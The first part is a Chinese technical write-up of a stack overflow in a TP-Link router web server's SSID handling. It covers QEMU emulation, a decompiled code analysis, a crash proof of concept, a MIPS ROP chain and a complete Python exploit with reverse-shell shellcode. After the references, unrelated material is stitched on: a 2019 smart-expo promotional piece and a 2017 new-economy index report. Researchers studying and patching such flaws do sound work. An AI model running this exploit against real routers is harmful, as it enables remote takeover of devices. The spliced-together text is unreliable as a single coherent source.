接着让我们设置桥接的地址。比如我目前宿主机(运行在parralell下)的地址是10.211.55.5,所以我使用命令 ifconfig br0 10.211.55.6/24 up 修改桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24 ,这样只要qemu开启就会自动设置br0)。

然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24,这样宿主机和qemu就能够相互ping通了。(只要在同一网段即可)

#在虚拟机内部 ifconfig eth0 10.211.55.7/24 up #在虚拟机外部(设置桥接) ifconfig br0 10.211.55.6/24 up

需要注意的是:要保证qemu内的ip子网掩码和桥接网卡一致,否则虽然宿主机和qemu都可以访问桥接网卡,但是两者不能相互通信。

尝试去ping宿主机。然后通过scp来传输文件。

root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up root@debian-mips:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39 inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB) Interrupt:10 Base address:0x1020 #将文件系统传入qemu虚拟机 scp -r squashfs-root/ root@10.211.55.7:~/

传输文件,然后在qemu中就能看到我们传输的文件了。

sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/

挂载固件的文件系统

挂载系统的proc到我们固件目录下的proc.这样我们的程序在访问一些内核信息时候能够读取到,否则程序可能会运行错误。

# 挂载文件系统 mount --bind /proc squashfs-root/proc # 更换root目录 chroot . bin/sh

/usr/bin/httpd

运行会报很多错误,参考H4lo师傅的方法hook一下函数来解决问题。将我们编译好的链接库通过scp传入到Qemu虚拟机中。

#mips-linux-gnu-gcc -shared -fPIC hook.c -o hook #include<stdio.h> #include<stdlib.h> int system(const char *command){ printf("HOOK: system(\"%s\")",command); return 1337; } int fork(void){ return 1337; }

重新运行,遇到/usr/bin/httpd: can't load library 'libc.so.6这种问题,使用软链接解决即可。

# 挂载文件系统 $ mount --bind /proc squashfs-root/proc # 更换root目录 $ cd squashfs-root/ $ chroot . bin/sh $ LD_PRELOAD="/hook" /usr/bin/httpd $ /usr/bin/httpd: can't load library 'libc.so.6' $ ln -s libc.so.0 libc.so.6 $ LD_PRELOAD="/hook" /usr/bin/httpd #gdb调试 export LD_PRELOAD="/hook" #./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题 ./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd

进入Web后台界面时候,登陆账号(账号密码都是admin)

其他问题

  • 设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。修改文件 /etc/resolvconf/resolv.conf.d/basenameserver 8.8.8.8 nameserver 8.8.4.4 执行更新resolvconf -u
  • ssh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss添加参数-oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1,比如:$ ssh -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 gdbserver-7.12-mips-be :~/

gdb调试

使用scp将gdbserver拷贝到squashfs-root目录下

scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/

使用gdbserver将httpd调试转发到2333端口

export LD_PRELOAD="/hook" ./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd

宿主机的gdb通过remote target进行远程调试。如果报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout。需要将内核版本从vmlinux-2.6.32-5-4kc-malta更换为vmlinux-3.2.0-4-4kc-malta

漏洞分析

用Ghidra逆向分析/usr/bin/httpd 文件,stringModify包含三个参数,分别是dst、len、src,很明显是拷贝函数。经过分析可以知道stringModify主要用于拷贝string并且对其进行一定的过滤,包括对转义字符的修改,对于\r和\n的转义等。但是函数并没有包含对dst的检查,以及对len的限制,如果使用者dst创建的过小就有可能产生栈溢出ou。(就相当于一个对字符有一定转义作用的strcpy)

当然,还有一个最有趣,并且直接导致漏洞的是,生成</br>的时候,写入了4个字节的数字,但是记录长度的iVar3变量却只加了1,导致理论上我们能够输入len长度4倍大数据,这样能够直接对任何调用stringModify的函数产生缓冲区溢出。

参考poc中输入/%0A(或者/%0D)会而页面会输出\/<br>,(0x0a对应\n,0x0d对应\r),可见我们出触法了生成<br>的代码。下面是这段代码经过stringModify转义分析。注意代码中只对单独存在的\n进行转义(连续的\n并不会触发这个漏洞点),这就是为什么我们输入的\n之间需要用其他符号隔开(经过实验证明,把\换成<之类的符号也可以溢出成功)。(%0A转义成\n的部分我没有找到代码,但是理论上应该有一个函数在我们进入StringModify之前实现了转义,其实这个就是前端的基础编码。。)

转义前转义后输出/\\/\/%0A\n<br>

int stringModify(char *dst,int len,int src) { char cVar1; //作为临时存储src单个字节内容 char *pcVar2; //指向src的指针 int iVar3; //返回值(返回String的长度) /*首先判断拷贝地址dst是否为0,将pcVar2指针指向src+1的位置*/ if ((dst == (char *)0x0) || (pcVar2 = (char *)(src + 1), src == 0)) { iVar3 = -1; } else { iVar3 = 0; //初始化返回值为0 while( true ) { cVar1 = pcVar2[-1]; //访问拷贝来源src的首部,并且作出判断 if ((cVar1 == '\0') || (len <= iVar3)) break; //判断是否截断,长度是否一致 if (cVar1 == '/') { /*当字符是转移字符'\'时候*/ LAB_0043bb48: *dst = '\\'; //判断转义字符'/',并且将转义字符转化为'\\' LAB_0043bb4c: iVar3 = iVar3 + 1; //返回的length+1 dst = dst + 1; //dst指针向后移动一位 LAB_0043bb54: *dst = pcVar2[-1]; //将转译字符的一位数据,添加也添加到dst中 dst = dst + 1; //dst指针继续向后移动 } else { if ('/' < cVar1) { if ((cVar1 == '>') || (cVar1 == '\\')) goto LAB_0043bb48; if (cVar1 == '<') { *dst = '\\'; goto LAB_0043bb4c; } goto LAB_0043bb54; } if (cVar1 != '\r') { if (cVar1 == '\"') goto LAB_0043bb48; if (cVar1 != '\n') goto LAB_0043bb54; } /*将\r或者\n转化为html中的<br>*/ if ((*pcVar2 != '\r') && (*pcVar2 != '\n')) { //这部分检测src序列是否包含重复\r或者\n *dst = '<'; dst[1] = 'b'; dst[2] = 'r'; dst[3] = '>'; dst = dst + 4; //写入4个字节,但是iVar3每次只会+1 } } iVar3 = iVar3 + 1; pcVar2 = pcVar2 + 1; } *dst = '\0'; } return iVar3; }

让我们去源代码里搜索调用stringModify而可能产生栈溢出的地方。 于是我们找到了writePageParamSet函数。

void writePageParamSet(undefined4 param_1,char *param_2,int *param_3) { int iVar1; undefined *puVar2; undefined local_210 [512]; if (param_3 == (int *)0x0) { HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d", "writePageParamSet",0xb2); } iVar1 = strcmp(param_2,"\"%s\","); //判断匹配字符串 if (iVar1 == 0) { iVar1 = stringModify(local_210,0x200,param_3); //调用stringModify if (iVar1 < 0) { printf("string modify error!"); local_210[0] = 0; } puVar2 = local_210; } else { iVar1 = strcmp(param_2,"%d,"); if (iVar1 != 0) { return; } puVar2 = (undefined *)*param_3; } httpPrintf(param_1,param_2,puVar2); return; }

然后继续回溯,我们找到了会使得writePageParamSet调用stringModify的函数,UndefinedFunction_0045fa94。UndefinedFunction_0045fa94函数在取出ssid的时候,将ssid放入一个很小的缓冲区acStack3080中,并且没有对长度进行限制,导致能够产生栈溢出。

初学Ghidra,所以让我们分析一下他的变量分析方式,就拿我们溢出的缓冲区acStack3460来说,在Mips汇编的表示为0xcc(sp),即距离栈顶(地址较小的那一端)0xcc距离的内存地址(buffer=sp+0xcc),让我们继续想下看,uint类型uStack3424的地址为0xe4(sp),即地址为sp+0xf0。两者之差(36)即acStack3460的默认空间。

让我们再找一找返回值的地址,0xe4c(sp)距离sp 0xe4c 个字节。

经过审计,我们发现通过ssid参数,我们可以写入超量的数据而不会被限制,当然,距离ret地址还是有一些远的,在调用writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);会调用stringModify。将这个超量的数据写入writePageParamSet栈中的512字节的buffer,造成缓冲区溢出。另外,需要注意的是我们还需要设置其他几个参数,因为这几个参数在ssid(acStack3460)的缓冲区下面,如果设置为默认值0x1则会产生\x00而截断我们的超长数据。

0x00 | | | ssid | | | 0x24 | curRegion | 0x28 | channel | 0x2c | chanWidth | 0x30 | mode | 0x34 | wrr | 0x38 | sb | 0x3c | select | 0x40 | rate | ... 0x?? | return addr |

而代码中的"/userRpm/popupSiteSurveyRpm.htm"则提醒着我们在测试时url的目录为“/userRpm/popupSiteSurveyRpm.htm”

代码做了一些删减,完整版见附录:

int UndefinedFunction_0045fa94(undefined4 param_1) { ... char acStack3460 [36]; //创建36字节的buffer ... memset(acStack3460,0,0x44); uStack3612 = 0; pcVar9 = (char *)httpGetEnv(param_1,"ssid");//从http请求头中取出ssid if (pcVar9 == (char *)0x0) { acStack3460[0] = '\0'; } else { __n = strlen(pcVar9);/*将ssid的数据写入buffer中*/ strncpy(acStack3460,pcVar9,__n);//BufferOverflow } //顺便审计一下剩下的代码有没有漏洞 pcVar9 = (char *)httpGetEnv(param_1,"curRegion"); if (pcVar9 == (char *)0x0) { uStack3424 = 0x11; } else { uStack3612 = atoi(pcVar9); if (uStack3612 < 0x6c) { uStack3424 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"channel"); if (pcVar9 == (char *)0x0) { uStack3420 = 6; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 0xf) { uStack3420 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"chanWidth"); if (pcVar9 == (char *)0x0) { uStack3416 = 2; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 3) { uStack3416 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"mode"); if (pcVar9 == (char *)0x0) { uStack3412 = 1; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 8) { uStack3412 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3408 = 1; } else { uStack3408 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3404 = 1; } else { uStack3404 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,"select"); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3400 = 1; } else { uStack3400 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140); if (pcVar9 != (char *)0x0) { iStack3396 = atoi(pcVar9); } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n", "pagePara"); writePageParamSet(param_1,&DAT_00544d38,acStack3460,0); writePageParamSet(param_1,"%d,",&uStack3424,1); writePageParamSet(param_1,"%d,",&uStack3420,2); writePageParamSet(param_1,"%d,",&uStack3416,3); writePageParamSet(param_1,"%d,",&uStack3412,4); writePageParamSet(param_1,"%d,",&uStack3408,5); writePageParamSet(param_1,"%d,",&uStack3404,6); writePageParamSet(param_1,"%d,",&uStack3400,7); writePageParamSet(param_1,"%d,",&iStack3396,8); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n"); httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>"); if ((auStack3600[0] < 9) && ((1 << (auStack3600[0] & 0x1f) & 0x1c8U) != 0)) { HttpWebV4Head(param_1,0,0); pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm"; } else { HttpWebV4Head(param_1,0,1); pcVar9 = "/userRpm/popupSiteSurveyRpm.htm"; } } iVar1 = httpRpmFsA(param_1,pcVar9); if (iVar1 == 2) { return 2; } sVar10 = HttpErrorPage(param_1,10,0,0); LAB_0045fa54: return (int)sVar10; }

我们使用curl发送HTTP请求给我们的路由器,测试漏洞是否存在。为了能够访问存在漏洞的服务,我们首先需要登陆,即我们需要抓取登陆后的Cookie(此处为%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D)和path(此处为MKSRWOTBRLXMCITC),然后作为发送参数。

使用curl来写入我们的payload,httpd发生段错误,并且程序控制流呗控制为0x61656161

curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''

很明显缓冲区溢出发生在函数writePageParamSet,并且在其返回的时候劫持了函数执行流。最后lw了四个寄存器ra,s2,s1,s1,s0,通过这个可以辅助判断我们发生溢出的大概位置。执行之后sp会加0x288,当然这条指令是在跳转之前执行的,因为指令流水线。

另外一边,我们看到页面打印出大量的</br>,也验证了我们之前的代码审计,writePageParamSet是将输入的数据写入Javascript的Param对象中。同时也通过1位字节换4位字节的方式写入超出界限的数据,如果要修补这个漏洞也很简单,只需要将缓冲区扩大四倍就行了,或者修改stringModify,让产生</br>的时候指针size+4而不是size+1。

经过计算payload每一位应为0x55*”/%0A”+2+s0+s1+s2+ra

在溢出区域出放置地址我们就能够成功控制程序流。让我们用python实现一下poc.py

import requests import socket import socks import urllib default_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} payload="/%0A"*0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) #if python3 #urllib.unquote(payload) #if python2 (suggest) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("AYEUYUFAXVOKELRC","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

漏洞利用

接下来让我们为这个漏洞编写一下利用脚本,语言我们使用python2.7。

利用时要注意Mips架构下默认ASLR是不开启的,并且heap和sgack是可执行的,所以直接跳转到shellcode即可。不过由于缓存不一致性,我们需要使用ROP。

注意Mips是大端的,数据存放方式与小端是相反的。并且在gdb调试后后记得endian为big,否则断点是断不下来的。

构造ROP链

Mips指令集包含一种的cache incoherency(缓存不一致性),指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造如下一条ROP链接,先调用sleep,然后在跳转到shellcode。

sleep(1) -> read_value_from_stack -> jump to stack(shellcode)

Mips的栈并没有pop和push,而是直接调用栈,ROP链构造和x86有一些区别,不过总体上逻辑应该是更加简单了,不过gadgets比较难找(因为全是寄存器操作)。

注意的是,pwntools需要专门设置为大端,否则默认小端。

context.endian = 'big'

寻找gadgets

经过上文的分析,我们知道我们能够布置栈,来控制s0~s2和ra寄存器。初始我们将ra覆盖为gadget1,用于修改寄存器$a0,将sleep函数的地址放在s2备用,将gadgets放在s1用于下一次跳转。另外,使用gadgets需要考虑流水线效应。

Gadget1,修改寄存器$a0(作为调用sleep的参数)

LOAD:0000E204 move $t9, $s1 LOAD:0000E208 jalr $t9 ; sysconf LOAD:0000E20C li $a0, 3

Gadget2,完成两个功能,1.调用sleep函数,2.跳转到下一个gadgets。首先调用sleep函数(之前存放在s2中),并且结束之后sp会增加0x28字节。在结束之前也会修改ra等寄存器的值,不过这里需要注意的是0x28+var_10($sp)的意思是sp+0x28-0x10地址。(Mips是通过偏移来获得栈内参数的),这里也要先设置好ra的值。调用sleep之后,程序会跳转到ra指向的地址。

LOAD:00037470 move $t9, $s2 LOAD:00037474 lw $ra, 0x28+var_4($sp) LOAD:00037478 lw $s2, 0x28+var_8($sp) LOAD:0003747C lw $s1, 0x28+var_C($sp) LOAD:00037480 lw $s0, 0x28+var_10($sp) LOAD:00037484 LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o LOAD:00037484 jr $t9 ; xdr_opaque_auth LOAD:00037488 addiu $sp, 0x28 #其实这段代码用gdb的反汇编看起来反而更加易懂一些 => 0x77f70470: move t9,s2 0x77f70474: lw ra,36(sp) 0x77f70478: lw s2,32(sp) 0x77f7047c: lw s1,28(sp) 0x77f70480: lw s0,24(sp) 0x77f70484: jr t9 0x77f70488: addiu sp,sp,40

Gadget3,用于将栈底地址写入a1,即我们布置的shellcode的地址。

LOAD:0000E904 addiu $a1, $sp, 0x168+var_150 LOAD:0000E908 move $t9, $s1 LOAD:0000E90C jalr $t9 ; stat64 LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)

Gadget4,跳转到shellcode

LOAD:000374D8 move $t9, $a1 LOAD:000374DC sw $v0, 0x4C($a0) LOAD:000374E0 move $a1, $a2 LOAD:000374E4 jr $t9 LOAD:000374E8 addiu $a0, 0x4C # 'L'

shellcode(连接本地9999端口)

因为我们的数据\c3会被转义,一种方式是指令替换,另一种方式是指令逃逸。这里直接参考了师傅们的shellcode参考地址。

Exploit

布置好gadgets和shellcode,最后shellcode的内容是反弹到本地的9999端口,挂好httpd服务,获取目录地址和cookie作为exp的参数运行,利用成功只需在本地用nc连接一下即可。

EXP.py

#!/usr/bin/python from pwn import * import requests import socket import socks import urllib import struct default_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False context.endian = 'big' libc_base=0x77f39000 sleep =0x53CA0 #end 00053ECC #gadgets g1=0x000E204 #0x77F47204 #LOAD:0000E204 move $t9, $s1 #LOAD:0000E208 jalr $t9 ; sysconf #LOAD:0000E20C li $a0, 3 g2=0x00037470 #LOAD:00037470 move $t9, $s2 #LOAD:00037474 lw $ra, 0x28+var_4($sp) #LOAD:00037478 lw $s2, 0x28+var_8($sp) #LOAD:0003747C lw $s1, 0x28+var_C($sp) #LOAD:00037480 lw $s0, 0x28+var_10($sp) #LOAD:00037484 #LOAD:00037484 loc_37484: #LOAD:00037484 jr $t9 ; xdr_opaque_auth #LOAD:00037488 addiu $sp, 0x28 g3=0x0000E904 #0x77f47904 #LOAD:0000E904 addiu $a1, $sp, 0x168+var_150 #LOAD:0000E908 move $t9, $s1 #LOAD:0000E90C jalr $t9 ; stat64 #LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000) g4=0x00374D8 #LOAD:000374D8 move $t9, $a1 #LOAD:000374DC sw $v0, 0x4C($a0) #LOAD:000374E0 move $a1, $a2 #LOAD:000374E4 jr $t9 #LOAD:000374E8 addiu $a0, 0x4C # 'L' shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff" shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff" shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4" shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd" shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef" shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff" shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2" shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff" shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c" s0=p32(0x11111111) s1=p32(g2+libc_base) # break s2=p32(sleep+libc_base) payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2 payload+=p32(g1+libc_base) payload+='x'*28 payload+=p32(g4+libc_base) #s1 payload+=p32(0x33333333) #s2 payload+=p32(g3+libc_base) #ra payload+='x'*24 payload+=shellcode def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("FMHSNOEAAJAKZBNA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

 

参考

Linux系统调用Hook姿势总结

https://www.anquanke.com/post/id/203486

https://www.youtube.com/watch?v=0_GsX2xhngU

https://ktln2.org/2020/03/29/exploiting-mips-router/

https://zhuanlan.zhihu.com/p/314170234

https://bbs.pediy.com/thread-212369.htm

https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm

https://www.anquanke.com/post/id/202219

http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA/

 

8月26日上午9时,2019中国国际智能产业博览会(简称“智博会”)在重庆开幕,紧扣“智能化:为经济赋能、为生活添彩”主题,聚焦大数据智能化领域前沿技术、产业发展最新成果。

谷歌、英特尔等世界科技巨头,阿里巴巴、腾讯等国内互联网科技名企等近千家企业到场,携5G全息通话、AI智能体验、智慧政务和商务、人工智能、大数据、云计算、区块链等为核心的多项前沿技术与产品亮相。

BBD数联铭品、博恩富克医疗、猪八戒惊艳亮相本届智博会。

BBD

迈向万物智联新世界

作为大数据领军企业,数联铭品(BBD)第二次亮相智博会,全面展示其将大数据、人工智能技术应用于金融科技、政府监管、宏观经济监测、企业服务、智库服务等领域的专业化产品和创新解决方案。

智博会上,BBD系统展示了联合财新传媒研发中国新经济指数(NEI)等系列经济评价指标;助力长三角区域“智”理一体化的中国长三角平台;与中国工商银行、国家信息中心、重庆两江新区联合开发的大数据融资服务平台;联合重庆银行开发的大数据小微信贷产品“好企贷”; 融合全量数据,为监管机构提供调查线索的kunlun工商企业监管图谱等产品和系统,全面“秀”出大数据核心力量,持续助力新经济,助力“一带一路”倡议,助力国家大数据战略和数字中国建设。

 

BBD展台现场

 

“智能化应用与高品质生活”高峰论坛上,《迈向万物智联新世界——5G时代·大数据·智能化》一书发布。该丛书由国家信息中心联合华为、BBD,以及中国科学院、北京大学、清华大学、复旦大学、北京师范大学等产学研各界组成的“5G与高质量发展联合课题组”综合运用大数据分析、实地调研等方式共同完成,旨在抓住5G大规模商用普及对大数据智能化发展带来的重大机遇,全面推动经济社会高质量发展。

 

BBD董事长曾途参加“智能化应用与高品质生活”高峰论坛

 

26日,BBD董事长曾途、高级副总裁杨春林分别受邀“智能化应用与高品质生活”高峰论坛与“智慧政务与金融科技融合发展”高峰论坛,参与圆桌讨论。

富克医疗

舒适、精准、智慧的未来医疗

重庆博恩富克医疗设备有限公司一直致力于新产品创新蜕变及高科技技术智能应用,本届智博会携自主研发的无创脑水肿动态监护仪亮相S4馆,向大家展现了国产高科技医疗器械领域的风采。

 

展台现场

 

据相关负责人介绍,临床上,脑水肿是导致脑疾病病人死亡主要原因之一。及时识别脑水肿,进行合理正确治疗和评价治疗效果,对挽救患者生命至关重要。“目前筛查手段主要是CT和MRI(核磁共振),不会在一般体检中使用,不少患者都是在遇到其它脑部问题做CT等才发现。”而他们研发推出的无创脑水肿动态监护仪采用生物电磁场技术,具备无创、连续、动态监护的优势,对脑部首发胶质瘤检测准确率高达85%,将成为脑部肿瘤、出血、颅脑外伤等疾病检测、判断的新工具。

目前,这项技术获得了17项国家重点项目基金支持,拥有32项国家发明专利、5项美国发明专利。

 

参观者体验设备

 

展会现场,无创脑水肿动态监护仪一亮相就吸引了不少参观者参与现场体验,展现了博恩医疗与未来医疗发展方向:舒适医疗(无创、微创)、精准医疗(可视化、数据化)、智慧医疗(大数据、信息化、智能化)的高度契合。

 

参观者体验设备

 

博恩富克医疗创建于2005年,经过10多年的发展,旗下已拥有神经重症的无创脑水肿监护产品系列(含小儿)、无创脑血氧监护产品系列(含小儿)、无创多模态监护系统系列(含小儿)、脑卒中早期诊断产品系列、颅脑健康体检产品系列、脑卒中康复治疗产品系列、颅脑手术附件系列等一系列产品,开创了脑卒中系统解决方案新格局,填补了脑卒中超早期诊断、脑水肿精准量化、小儿多模态无创监测等领域的空白。

未来,博恩富克医疗将进行全球独创的医疗器械产品研发、应用、推广,将生物电阻抗成像技术+影像技术的核心技术应用到人类医学更广泛的领域,正如博恩医疗的愿景——“成为具有核心竞争力及高科技创新能力的医疗器械行业的独角兽企业,并致力于成为全球颅脑监测技术引领者。”

本届智博会举办时间为8月26日-8月29日,在此期间,以上博恩系代表企业将在S3、S4馆持续展出,期待大家前往参观,一同体会智慧化的科技魅力!

 

一、指数概览

2017年7月,万事达卡财新BBD中国新经济指数(NEI)为31.5,即新经济投入占整个经济投入的比重为31.5%。按可比口径计算,本月NEI比上月上升2.2个百分点,基本回升到2017年1至4月的指数水平(图1)。本月NEI的上升主要来自资本、科技两个子指数的反弹。

NEI新经济据于以下定义:首先,高人力资本投入、高科技投入、轻资产。其次,可持续的较快增长。第三,符合产业发展方向。NEI所含行业详见《万事达卡财新BBD中国新经济指数技术报告》与《万事达卡财新BBD中国新经济指数报告(2017年3月)》。

二、主要分项指标

NEI包括劳动力、资本和科技三项一级指标,它们在NEI中的权重分别是40%、35%和25%。2017年7月NEI的上升来自资本投入和科技投入两方面的综合回升。科技投入指数上升最快,从2017年6月的25.1上升为31.6,上升6.5。资本投入指数在近半年中的波动较大, 在经过两个月的连续下降后,6月出现反弹,7月继续回升,上升至32.7。劳动力投入指数较6月略微下降,本月为30.3,指数继续维持在30左右的水平(图2)。

三、新经济就业

2017年7月,新经济行业入职平均工资水平比上月略微上升,为每月9146元,较上月增长171元(图5)。新经济工资主要来自51job、智联招聘、拉钩、赶集网等数个招聘网站的招聘信息,即对劳动力的需求工资。

2017年7月新经济行业招聘人数占全国总招聘人数比例有所下降,从29.5下降为29.2,同时新经济行业招聘总薪酬占全国总薪酬比重也略有下降,为31.4%。这意味着新经济行业的平均入职工资水平相对于全国平均入职工资水平保持稳定,2017年7月新经济入职工资“溢价”为7.6%,高于上月0.4%(图6)。2017年以来,新经济行业的平均工资溢价分别在2月和4月出现了下降,其余时间都出现了稳步上升,并且溢价均高于5%。

四、新增公司占比情况

使用新增企业数据,我们可以对各行业新增企业占总新增企业比重进行监测,见图7。

排名上升的行业包括以下几类——房地产,从2016年7月的第25名上升至2017年7月的第18名,占比上升80.5%;建筑,从去年7月的第19名上升至2017年7月的第16名,占比上升32.5%;建筑工程,从去年7月的第24名上升至2017年7月的第20名,占比上升58.9%。这些关键词变化说明建筑类投资已经开始重新上升,这部分投资大多来自于政府。此外,部分轻资产行业的投资也出现了上升,教育行业从2016年7月的第18名上升至2017年7月的第13名,占比上升37.6%;管理,从第4名上升至第3 名,占比上升21.7%;信息,从第13 名上升至第11 名,占比上升13.4%。

排名下降的行业包括以下几类——农业,从2016年7月的第14名下降至2017年7月的第21名,占比下降13.3%;电子商务,从2016年7月的第8名下降至2017年7月的第14名,占比下降27.9%;传播,从2016年7月的第15名下降至2017年7月的第19名,占比下降0.5%;投资,从2016年7月的第22名下降至2017年7月的第25名,占比上升18.8%;文化传媒,从2016年7月的第20 名下降至第23名,占比增加13.5%;服务从去年7月的第3名下降为第4名,占比上升11%。其中,除电子商务和农业的占比较去年有所下降,其他排名下降的行业占比均有所增加。

五、从各大机场流量看经济活力

本月我们延续2017年4月的机场流量分析方式对机场流量数据进行跨年度分析,比较的对象为2017年第二季度和2016年第二季度的各大机场流量数据。

首先,我们将2017年第二季度平均每天的人口净流入量减去2016年第二季度平均每天的人口净流入量,并按照两者差的绝对值进行排序,得到了净流入增加量最快城市与净流入减少量最快城市。(图8)

